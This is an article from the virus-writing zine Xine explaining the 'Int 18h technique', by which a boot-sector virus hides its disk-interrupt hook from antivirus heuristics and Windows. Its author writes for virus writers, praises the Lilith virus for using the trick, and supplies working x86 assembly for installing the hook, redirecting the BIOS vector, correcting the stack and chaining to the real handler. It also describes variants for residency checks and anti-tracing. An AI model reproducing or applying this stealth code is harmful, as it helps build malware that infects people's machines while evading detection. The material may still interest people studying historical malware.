/-----------------------------\ | Xine - issue #2 - Phile 012 | \-----------------------------/ ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл лл лл лл The Int 18h Technique лл лл ( aka 18_tech ) лл лл лл лл Written by Dandler лл лл Translated by b0z0 лл лл Created from 7-Jan-97 to 12-Jan-97 лл лл лл ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл The problem: пппппппппппп All (well, most of them) Boot viruses must hook Int 13h to be able to intercept all the disk read/write operations and spread its way. On the other side direct Int 13h hooking may remarkably increase the probability of being detected also by the normal PC user. The main two causes that may help the discover the infection are: - the antiviruses Many antiviruses do heuristical analysis on the computer where they are executed. Many of those are at least able to issue a warning to the user that something is wrong and many may also quite certainly determinate an infection. - Windows: All the versions of Windows (win 3.0, win32, win96 and i suppose also winNT) executes a check at the execution to try to determinate if the Hard Disk may support the 32-bit access. If a Hard Disk doesn't support 32-bit access Windows will issue a warning that for a hardware incompatibility Windows will access to the disk normally. This will of course also lower the disk efficiency and the consequence is an additional waste of time. But how may the antiviruses and Windows determinate a Boot virus infection? It is very simple, they just check the Int 13h vector as it was at the MS-DOS execution. This vector is saved by MS-DOS at the standard address 0070h:00B4h. This vector usually points to the Bios, or anyway to ROM, and so it will have as CS a value between C000h and F000h. On the other side if a Boot virus is active in memory it is very probable that CS of the vector may be between 9800h and 9FE0h, or it may point to the Interrupt Vector Table. For an antivirus this kind of check for an infection is very simple and may be done in a few CMP instructions. As for Windows, the stuff is a little different; it doesn't check the vector in 0070h:00B4h to check for viruses, but only to be sure that the vector points to ROM. If the vector points in ROM Windows will assume that the Hard Disk is able to support 32-bit access. As we all know Windows is a big asshole, and there isn't really any intelligent motivation to do this check and discriminate the system where the vector points somewhere else. The theoretical solution: ппппппппппппппппппппппппп Theoretically the problem has just one solution: make the CS of the vector in 0070h:00B4h to point to ROM. It is easier to tell as to do it you'll say. :) Infact it isn't simple and it is needed to have a little of imagination, as it has been done by an Italian Boot virus, the Lilith (it isn't currently scanned by F-Prot), that already back in the 1995 founded a solution to all the problems in a full working, compatible and elegant way. It also doesn't require a lot of code. I won't give you the exact code that the Lilith uses, because it may be also optimized a little more. Anyway the Lilith code works perfectly. And finally here we are to talk about the Int 18h technique, or 18_tech, as I (as far as I know the first that exposed this technique under the eyes of the vw and av world with this article) called it, if you are in a hurry :) But let's go to the real stuff. It is really possible to hook one interrupt and make it to point to ROM? It seems quite impossible at the first look... But it can be done, and it is also easy (especially when you read about it in a zine ;) )! The idea is to make something where the execution of a call to the Int 13 will start in the Bios and then the Bios will have to call the virus somewhere else in memory. OK, but how can we make to tell to the Bios to call the virus in memory? We need some code in the Bios that make a call to the extern. That aren't many methods and of course the most polite and most compatible is to use a normal INT. That's it. This is the main rule, point the Int 13h to an INT in the Bios code. We may then just hook that INT and the trick will be done. In this way calling the Int 13h it will seem that Bios is being called, but then the execution will pass to the virus somewhere else. But of course we need an INT that is present in all the Bioses, or our virus may not be compatible with some PCs. At the same time we need an INT that is not used by the Bios, nor by MS-DOS, nor by any other software more or less used. The best Int is the 18h. Didn't you think about that, isn't it? :) (if you were thinking about the 13h then you haven't understanded anything and you can also stop reading! :))) ) The Int 18h is the interrupt that is executed from the Bios when there aren't any disks from which the system may boot. It may execute the Basic contained in ROM, but from many years it isn't present in the PC. So it is a great choice: the INT is present in any Bios, the Bios doesn't use it and also other programs doesn't use it. The Bios may use it just in some rare cases, when anyway the virus may not be in memory. The practical solution: пппппппппппппппппппппппп To use the 18_tech there are some guidelines we must maintain: + at the installation of the virus in memory - save the Int 13h vector - look for an Int 18h (0CDh,18h) in the Bios - point the Int 13h vector at the address where we founded the Int 18h - hook the Int 18h to the virus in memory + at the call of the virus in memory from the Bios with the Int 18h - correct the stack In assembly we may translate this to: (it is assumed that ES contains the segment of the virus installed in memory) + at the installation of the virus in memory - save the int 13h vector xor ax,ax mov ds,ax mov ax,word ptr ds:[13h*4] mov es:ip13,ax mov ax,word ptr ds:[13h*4+2] mov es:cs13,ax - look for an Int 18h (0CDh,18h) in the Bios: mov ax,0f000h mov ds,ax xor bx,bx loop1: inc bx cmp word ptr ds:[bx],18cdh jne loop1 - point the Int 13h vector at the address where we founded the Int 18h xor ax,ax mov ds,ax mov word ptr ds:[13h*4],bx mov word ptr ds:[13h*4+2],0f000h - hook the Int 18h to the virus in memory: mov word ptr ds:[18h*4],offset int_18_entry mov word ptr ds:[18h*4+2],es + at the call of the virus in memory from the Bios with the Int 18h - correct the stack: add sp,4 popf After the stack correction the virus may work as any other normal Boot virus and to leave the control back to the real Int 13h it may simply: jmp dword ptr cs:ip13 As you may see it finally isn't very hard. Possible variants: пппппппппппппппппп You can now think about thousands of other possible variants on the basic code of this method. I will just expose some of the most important: - It may be a very good idea to check that the Int 18h vector points to Bios before going resident in this way. In fact if the Int 18h vector points outside of the Bios it is possible that there is already another virus in memory that is using the same method. The 18_tech can't be of course used twice, or the system will crash. This check may be also used from the virus to verify if it is already resident. In this way you will save the are_you_there_call routine space. - The 18_tech may be also used as a very good anti-trace. In this way the code that corrects the stack will be substituted with this: add sp,6 [EOF]